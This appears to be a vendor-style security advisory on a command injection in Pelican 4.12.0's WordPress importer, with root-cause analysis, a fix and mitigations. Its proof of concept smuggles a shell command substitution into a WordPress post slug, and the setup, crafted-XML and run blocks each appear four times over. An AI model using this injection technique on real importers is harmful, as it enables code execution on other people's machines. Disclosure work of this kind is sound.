Pelican 4.12.0 - OS command injection in WordPress importer

8,4

High

Discovered by

Juan García

Offensive Team, Fluid Attacks

Abstract

Fluid Attacks discovered CVE-2026-122090, a high-severity command injection vulnerability (CWE-78) in Pelican 4.12.0. An attacker can execute commands as the importing user on affected systems. It has a CVSS v4.0 base score of 8.4. This advisory includes a proof of concept.

Summary

Full name

Pelican 4.12.0 - OS command injection through WordPress post slugs

Code name

State

Public

Release date

Affected product

Pelican

Vendor

getpelican

Affected version(s)

4.12.0

Vulnerability name

OS Command Injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.4

Exploit available

Yes

Description

Pelican 4.12.0 contains an OS command injection vulnerability in the pelican-import command-line tool. When converting a WordPress XML export, the importer incorporates the attacker-controlled wp:post_name value into an output filename and then into a shell command executed with shell=True.

A person running pelican-import must import an attacker-supplied WordPress export. On POSIX systems, shell command substitution in a post slug is evaluated despite the surrounding double quotes. The resulting command runs with the operating-system permissions of the person invoking the importer.

Vulnerability

Root cause

wp2fields() reads wp:post_name from the supplied WordPress XML and uses it as filename. get_out_filename() then removes characters reserved by common filesystems, but its regular expression does not remove shell metacharacters such as $, (, ), {, or }.

For an HTML or WordPress-HTML post, fields2pelican() formats out_filename into a Pandoc command string and passes that string to subprocess.call(cmd, shell=True). The output filename is enclosed in double quotes, but POSIX shells still perform command substitution inside double quotes. Thus a slug such as legit$(touch${IFS}CVE_POC_MARKER)post is evaluated by the shell before Pandoc receives its arguments.

Source-to-sink path

  1. wp2fields() obtains item.find("post_name").string from the untrusted WordPress XML and passes it through get_filename() (pelican/tools/pelican_import.py:143-166 in tag 4.12.0).

  2. fields2pelican() passes this value to get_out_filename() (pelican/tools/pelican_import.py:954-1024).

  3. get_out_filename() applies re.sub(r'[<>:"/\\|?*^% ]', '-', filename), which leaves $, parentheses, and braces intact (pelican/tools/pelican_import.py:786-808).

  4. For imported HTML, fields2pelican() places the resulting out_filename in the pandoc ... -o "{out_filename}" ... command template (pelican/tools/pelican_import.py:1027-1064).

  5. subprocess.call(cmd, shell=True) invokes the platform shell on that command (pelican/tools/pelican_import.py:1066-1077). Command substitution is the execution sink.

Impact

The command substitution is evaluated by the shell started by subprocess.call(..., shell=True). The injected command therefore runs with the effective user ID, group memberships, current working directory, environment variables, and filesystem access of the account that invokes pelican-import.

An attacker-controlled WordPress export can consequently cause reads and writes to resources accessible to that account, modification of the generated content tree, execution of further local programs, or outbound connections permitted by the host policy.

PoC

Preconditions

Use Pelican 4.12.0 and Python with the importer dependencies. Pandoc is optional for demonstrating execution but needed if successful content conversion is also desired. Run the importer with a non-privileged account.

Step-by-step

  1. Install the test dependencies. Pandoc is useful to complete a normal conversion, although command substitution executes even if Pandoc is unavailable.

    git clone https://github.com/getpelican/pelican.git
    cd pelican
    git checkout 4.12.0
    python3 -m venv .venv
    . .venv/bin/activate
    pip install -e ".[markdown]"
    pip install beautifulsoup4 lxml
    git clone https://github.com/getpelican/pelican.git
    cd pelican
    git checkout 4.12.0
    python3 -m venv .venv
    . .venv/bin/activate
    pip install -e ".[markdown]"
    pip install beautifulsoup4 lxml
    git clone https://github.com/getpelican/pelican.git
    cd pelican
    git checkout 4.12.0
    python3 -m venv .venv
    . .venv/bin/activate
    pip install -e ".[markdown]"
    pip install beautifulsoup4 lxml
    git clone https://github.com/getpelican/pelican.git
    cd pelican
    git checkout 4.12.0
    python3 -m venv .venv
    . .venv/bin/activate
    pip install -e ".[markdown]"
    pip install beautifulsoup4 lxml


  2. Create /tmp/poc/malicious.xml with the following complete minimal WordPress export. The quoted here-document prevents the invoking shell from expanding the proof payload while the file is created.

    mkdir -p /tmp/poc
    cat > /tmp/poc/malicious.xml <<'XML'
    <?xml version="1.0" encoding="UTF-8"?>
    <rss version="2.0"
         xmlns:excerpt="http://wordpress.org/export/1.2/excerpt/"
         xmlns:content="http://purl.org/rss/1.0/modules/content/"
         xmlns:dc="http://purl.org/dc/elements/1.1/"
         xmlns:wp="http://wordpress.org/export/1.2/">
      <channel>
        <wp:wxr_version>1.2</wp:wxr_version>
        <wp:base_site_url>http://example.com</wp:base_site_url>
        <wp:base_blog_url>http://example.com</wp:base_blog_url>
        <item>
          <title>Innocent Post</title>
          <dc:creator>admin</dc:creator>
          <content:encoded><![CDATA[<p>Hello</p>]]></content:encoded>
          <wp:post_id>1</wp:post_id>
          <wp:post_date>2024-01-01 00:00:00</wp:post_date>
          <wp:post_date_gmt>2024-01-01 00:00:00</wp:post_date_gmt>
          <wp:post_name>legit$(touch${IFS}CVE_POC_MARKER)post</wp:post_name>
          <wp:status>publish</wp:status>
          <wp:post_type>post</wp:post_type>
          <category domain="category" nicename="uncategorized">Uncategorized</category>
        </item>
      </channel>
    </rss>
    XML
    mkdir -p /tmp/poc
    cat > /tmp/poc/malicious.xml <<'XML'
    <?xml version="1.0" encoding="UTF-8"?>
    <rss version="2.0"
         xmlns:excerpt="http://wordpress.org/export/1.2/excerpt/"
         xmlns:content="http://purl.org/rss/1.0/modules/content/"
         xmlns:dc="http://purl.org/dc/elements/1.1/"
         xmlns:wp="http://wordpress.org/export/1.2/">
      <channel>
        <wp:wxr_version>1.2</wp:wxr_version>
        <wp:base_site_url>http://example.com</wp:base_site_url>
        <wp:base_blog_url>http://example.com</wp:base_blog_url>
        <item>
          <title>Innocent Post</title>
          <dc:creator>admin</dc:creator>
          <content:encoded><![CDATA[<p>Hello</p>]]></content:encoded>
          <wp:post_id>1</wp:post_id>
          <wp:post_date>2024-01-01 00:00:00</wp:post_date>
          <wp:post_date_gmt>2024-01-01 00:00:00</wp:post_date_gmt>
          <wp:post_name>legit$(touch${IFS}CVE_POC_MARKER)post</wp:post_name>
          <wp:status>publish</wp:status>
          <wp:post_type>post</wp:post_type>
          <category domain="category" nicename="uncategorized">Uncategorized</category>
        </item>
      </channel>
    </rss>
    XML
    mkdir -p /tmp/poc
    cat > /tmp/poc/malicious.xml <<'XML'
    <?xml version="1.0" encoding="UTF-8"?>
    <rss version="2.0"
         xmlns:excerpt="http://wordpress.org/export/1.2/excerpt/"
         xmlns:content="http://purl.org/rss/1.0/modules/content/"
         xmlns:dc="http://purl.org/dc/elements/1.1/"
         xmlns:wp="http://wordpress.org/export/1.2/">
      <channel>
        <wp:wxr_version>1.2</wp:wxr_version>
        <wp:base_site_url>http://example.com</wp:base_site_url>
        <wp:base_blog_url>http://example.com</wp:base_blog_url>
        <item>
          <title>Innocent Post</title>
          <dc:creator>admin</dc:creator>
          <content:encoded><![CDATA[<p>Hello</p>]]></content:encoded>
          <wp:post_id>1</wp:post_id>
          <wp:post_date>2024-01-01 00:00:00</wp:post_date>
          <wp:post_date_gmt>2024-01-01 00:00:00</wp:post_date_gmt>
          <wp:post_name>legit$(touch${IFS}CVE_POC_MARKER)post</wp:post_name>
          <wp:status>publish</wp:status>
          <wp:post_type>post</wp:post_type>
          <category domain="category" nicename="uncategorized">Uncategorized</category>
        </item>
      </channel>
    </rss>
    XML
    mkdir -p /tmp/poc
    cat > /tmp/poc/malicious.xml <<'XML'
    <?xml version="1.0" encoding="UTF-8"?>
    <rss version="2.0"
         xmlns:excerpt="http://wordpress.org/export/1.2/excerpt/"
         xmlns:content="http://purl.org/rss/1.0/modules/content/"
         xmlns:dc="http://purl.org/dc/elements/1.1/"
         xmlns:wp="http://wordpress.org/export/1.2/">
      <channel>
        <wp:wxr_version>1.2</wp:wxr_version>
        <wp:base_site_url>http://example.com</wp:base_site_url>
        <wp:base_blog_url>http://example.com</wp:base_blog_url>
        <item>
          <title>Innocent Post</title>
          <dc:creator>admin</dc:creator>
          <content:encoded><![CDATA[<p>Hello</p>]]></content:encoded>
          <wp:post_id>1</wp:post_id>
          <wp:post_date>2024-01-01 00:00:00</wp:post_date>
          <wp:post_date_gmt>2024-01-01 00:00:00</wp:post_date_gmt>
          <wp:post_name>legit$(touch${IFS}CVE_POC_MARKER)post</wp:post_name>
          <wp:status>publish</wp:status>
          <wp:post_type>post</wp:post_type>
          <category domain="category" nicename="uncategorized">Uncategorized</category>
        </item>
      </channel>
    </rss>
    XML


  3. Run the importer against the crafted export:

    pelican-import --wpfile /tmp/poc/malicious.xml -o /tmp/poc/output -m rst
    pelican-import --wpfile /tmp/poc/malicious.xml -o /tmp/poc/output -m rst
    pelican-import --wpfile /tmp/poc/malicious.xml -o /tmp/poc/output -m rst
    pelican-import --wpfile /tmp/poc/malicious.xml -o /tmp/poc/output -m rst

    A FileNotFoundError for a path that still literally contains the $(...) payload is expected after execution: the shell has already evaluated the substitution, whereas Pelican subsequently tries to open the original, unexpanded Python string. Confirm that the empty CVE_POC_MARKER file was created in the directory from which the command was run. Its creation is the only intended effect of this proof.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-122090 to refer to this issue from now on.

Disclosure policy

System information

  • Product: Pelican

  • Version: 4.12.0

  • Operating System: Linux and macOS

References

Solution and Workaround

Solution

Replace the shell command string with a list-based Pandoc invocation, for example subprocess.run(["pandoc", "-f", "html", html_filename, "-o", out_filename], check=True). Each executable name, option, and value must be a separate list element, and the invocation must not use shell=True. This preserves wp:post_name as filename data rather than shell syntax.

The fix should cover every import path that invokes an external converter, retain normal filename validation for filesystem compatibility, and add regression tests using post names containing $, parentheses, braces, ampersands, and whitespace. A release containing the patch should be identified as the fixed version after upstream validation.

Workaround and temporary mitigation

Until a fixed release is available, do not import WordPress XML exports from untrusted sources. Restrict import execution to a dedicated non-privileged account with only the required filesystem access, and review imported post names for shell metacharacters. Character filtering is defense in depth only; it does not remediate interpolation into a shell command.

Credits

The vulnerability was discovered by Juan García from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.